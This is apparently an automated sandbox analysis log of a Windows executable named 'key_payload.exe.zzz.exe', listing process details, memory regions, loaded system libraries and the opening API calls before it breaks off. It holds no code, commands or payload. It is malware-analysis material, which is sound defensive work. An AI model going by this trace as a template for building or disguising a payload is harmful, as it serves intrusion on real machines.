# Flog Txt Version 1 # Analyzer Version: 2.4.0 # Analyzer Build Date: Jul 24 2018 18:08:56 # Log Creation Date: 20.08.2018 09:32:10.270 Process: id = "1" image_name = "key_payload.exe.zzz.exe" filename = "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe" page_root = "0x58943000" os_pid = "0xf2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x760000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 2 start_va = 0x780000 end_va = 0x781fff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 3 start_va = 0x790000 end_va = 0x7a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 4 start_va = 0x7b0000 end_va = 0x7effff entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 5 start_va = 0x7f0000 end_va = 0x8effff entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 6 start_va = 0x8f0000 end_va = 0x8f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 7 start_va = 0x900000 end_va = 0x902fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 8 start_va = 0x910000 end_va = 0x911fff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 9 start_va = 0x13e0000 end_va = 0x16befff entry_point = 0x13e0000 region_type = mapped_file name = "key_payload.exe.zzz.exe" filename = "\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe") Region: id = 10 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 11 start_va = 0x7ef40000 end_va = 0x7ef62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef40000" filename = "" Region: id = 12 start_va = 0x7ef65000 end_va = 0x7ef65fff entry_point = 0x0 region_type = private name = "private_0x000000007ef65000" filename = "" Region: id = 13 start_va = 0x7ef6c000 end_va = 0x7ef6efff entry_point = 0x0 region_type = private name = "private_0x000000007ef6c000" filename = "" Region: id = 14 start_va = 0x7ef6f000 end_va = 0x7ef6ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef6f000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 17 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 18 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 165 start_va = 0x960000 end_va = 0x96ffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 166 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 167 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 168 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 169 start_va = 0xaa0000 end_va = 0xb9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 170 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 171 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 172 start_va = 0x760000 end_va = 0x76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 173 start_va = 0x970000 end_va = 0xa2dfff entry_point = 0x970000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 174 start_va = 0x74990000 end_va = 0x74a20fff entry_point = 0x74990000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 175 start_va = 0x7ee40000 end_va = 0x7ef3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee40000" filename = "" Region: id = 176 start_va = 0x770000 end_va = 0x773fff entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 177 start_va = 0x920000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 178 start_va = 0xa30000 end_va = 0xa6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 179 start_va = 0xba0000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 180 start_va = 0xca0000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 181 start_va = 0xda0000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 182 start_va = 0xde0000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 183 start_va = 0x743a0000 end_va = 0x743c0fff entry_point = 0x743a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 184 start_va = 0x743d0000 end_va = 0x743f2fff entry_point = 0x743d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 185 start_va = 0x74400000 end_va = 0x7456afff entry_point = 0x74400000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 186 start_va = 0x74570000 end_va = 0x7458afff entry_point = 0x74570000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 187 start_va = 0x74590000 end_va = 0x745b3fff entry_point = 0x74590000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 188 start_va = 0x745c0000 end_va = 0x74612fff entry_point = 0x745c0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 189 start_va = 0x74620000 end_va = 0x74636fff entry_point = 0x74620000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 190 start_va = 0x74640000 end_va = 0x7465dfff entry_point = 0x74640000 region_type = mapped_file name = "oledlg.dll" filename = "\\Windows\\SysWOW64\\oledlg.dll" (normalized: "c:\\windows\\syswow64\\oledlg.dll") Region: id = 191 start_va = 0x74660000 end_va = 0x746c6fff entry_point = 0x74660000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 192 start_va = 0x746d0000 end_va = 0x748d8fff entry_point = 0x746d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 193 start_va = 0x748e0000 end_va = 0x748e5fff entry_point = 0x748e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 194 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 195 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 196 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 197 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 198 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 199 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 200 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 201 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 202 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 203 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 204 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 205 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 206 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 207 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 208 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 209 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 210 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 211 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 212 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 213 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 214 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 215 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 216 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 217 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 218 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 219 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 220 start_va = 0x7ee3d000 end_va = 0x7ee3ffff entry_point = 0x0 region_type = private name = "private_0x000000007ee3d000" filename = "" Region: id = 221 start_va = 0x7ef66000 end_va = 0x7ef68fff entry_point = 0x0 region_type = private name = "private_0x000000007ef66000" filename = "" Region: id = 222 start_va = 0x7ef69000 end_va = 0x7ef6bfff entry_point = 0x0 region_type = private name = "private_0x000000007ef69000" filename = "" Region: id = 223 start_va = 0x780000 end_va = 0x780fff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 224 start_va = 0xa70000 end_va = 0xa70fff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 225 start_va = 0xa80000 end_va = 0xa81fff entry_point = 0xa80000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 226 start_va = 0xa90000 end_va = 0xa91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 227 start_va = 0xee0000 end_va = 0x1067fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ee0000" filename = "" Region: id = 228 start_va = 0x10f0000 end_va = 0x10fffff entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 229 start_va = 0x1100000 end_va = 0x1280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001100000" filename = "" Region: id = 230 start_va = 0x1320000 end_va = 0x132ffff entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 231 start_va = 0x16c0000 end_va = 0x2abffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000016c0000" filename = "" Region: id = 232 start_va = 0x1070000 end_va = 0x10effff entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 233 start_va = 0x1290000 end_va = 0x1290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001290000" filename = "" Region: id = 234 start_va = 0x2ac0000 end_va = 0x2b77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ac0000" filename = "" Region: id = 235 start_va = 0x1290000 end_va = 0x1293fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001290000" filename = "" Region: id = 236 start_va = 0x12a0000 end_va = 0x12a3fff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 237 start_va = 0x2b80000 end_va = 0x3071fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b80000" filename = "" Region: id = 238 start_va = 0x12b0000 end_va = 0x12b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012b0000" filename = "" Region: id = 239 start_va = 0x3080000 end_va = 0x33b6fff entry_point = 0x3080000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 240 start_va = 0x74370000 end_va = 0x74397fff entry_point = 0x74370000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 241 start_va = 0x12c0000 end_va = 0x12c3fff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 242 start_va = 0x1330000 end_va = 0x13bcfff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 243 start_va = 0x12d0000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 244 start_va = 0x33c0000 end_va = 0x34bffff entry_point = 0x0 region_type = private name = "private_0x00000000033c0000" filename = "" Region: id = 245 start_va = 0x74220000 end_va = 0x74361fff entry_point = 0x74220000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 246 start_va = 0x7ee3a000 end_va = 0x7ee3cfff entry_point = 0x0 region_type = private name = "private_0x000000007ee3a000" filename = "" Region: id = 247 start_va = 0x1310000 end_va = 0x1310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001310000" filename = "" Region: id = 248 start_va = 0x77670000 end_va = 0x776f1fff entry_point = 0x77670000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 249 start_va = 0x1330000 end_va = 0x1330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001330000" filename = "" Region: id = 250 start_va = 0x1340000 end_va = 0x1343fff entry_point = 0x1340000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 251 start_va = 0x1350000 end_va = 0x1392fff entry_point = 0x1350000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000f.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db") Region: id = 252 start_va = 0x13a0000 end_va = 0x13a3fff entry_point = 0x13a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 253 start_va = 0x13b0000 end_va = 0x13c0fff entry_point = 0x13b0000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 254 start_va = 0x34c0000 end_va = 0x354afff entry_point = 0x34c0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 255 start_va = 0x3550000 end_va = 0x3562fff entry_point = 0x3550000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 256 start_va = 0x3570000 end_va = 0x3570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003570000" filename = "" Region: id = 257 start_va = 0x3580000 end_va = 0x35bffff entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 258 start_va = 0x35c0000 end_va = 0x36bffff entry_point = 0x0 region_type = private name = "private_0x00000000035c0000" filename = "" Region: id = 259 start_va = 0x36c0000 end_va = 0x3720fff entry_point = 0x36c0000 region_type = mapped_file name = "shell32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\shell32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\shell32.dll.mui") Region: id = 260 start_va = 0x3730000 end_va = 0x376ffff entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 261 start_va = 0x3770000 end_va = 0x386ffff entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 262 start_va = 0x74200000 end_va = 0x74212fff entry_point = 0x74200000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 263 start_va = 0x7ee34000 end_va = 0x7ee36fff entry_point = 0x0 region_type = private name = "private_0x000000007ee34000" filename = "" Region: id = 264 start_va = 0x7ee37000 end_va = 0x7ee39fff entry_point = 0x0 region_type = private name = "private_0x000000007ee37000" filename = "" Region: id = 265 start_va = 0x741d0000 end_va = 0x741fefff entry_point = 0x741d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 266 start_va = 0x13d0000 end_va = 0x13d7fff entry_point = 0x13d0000 region_type = mapped_file name = "windows.storage.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\windows.storage.dll.mui") Region: id = 267 start_va = 0x3870000 end_va = 0x38affff entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 268 start_va = 0x38b0000 end_va = 0x39affff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 269 start_va = 0x39b0000 end_va = 0x39effff entry_point = 0x0 region_type = private name = "private_0x00000000039b0000" filename = "" Region: id = 270 start_va = 0x39f0000 end_va = 0x3aeffff entry_point = 0x0 region_type = private name = "private_0x00000000039f0000" filename = "" Region: id = 271 start_va = 0x3af0000 end_va = 0x3b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003af0000" filename = "" Region: id = 272 start_va = 0x3b30000 end_va = 0x3c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b30000" filename = "" Region: id = 273 start_va = 0x73da0000 end_va = 0x74060fff entry_point = 0x73da0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 274 start_va = 0x74070000 end_va = 0x741cffff entry_point = 0x74070000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 275 start_va = 0x7ee2b000 end_va = 0x7ee2dfff entry_point = 0x0 region_type = private name = "private_0x000000007ee2b000" filename = "" Region: id = 276 start_va = 0x7ee2e000 end_va = 0x7ee30fff entry_point = 0x0 region_type = private name = "private_0x000000007ee2e000" filename = "" Region: id = 277 start_va = 0x7ee31000 end_va = 0x7ee33fff entry_point = 0x0 region_type = private name = "private_0x000000007ee31000" filename = "" Region: id = 296 start_va = 0x3c30000 end_va = 0x3c30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003c30000" filename = "" Region: id = 297 start_va = 0x73d90000 end_va = 0x73d9bfff entry_point = 0x73d90000 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\SysWOW64\\pcacli.dll" (normalized: "c:\\windows\\syswow64\\pcacli.dll") Thread: id = 1 os_tid = 0xf30 [0091.671] GetStartupInfoW (in: lpStartupInfo=0x8efecc | out: lpStartupInfo=0x8efecc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0091.676] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0091.676] GetProcAddress (hModule=0x75130000, lpProcName=0x160ad34) returned 0x7514a330 [0091.676] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0091.676] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0091.677] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0091.678] GetProcAddress 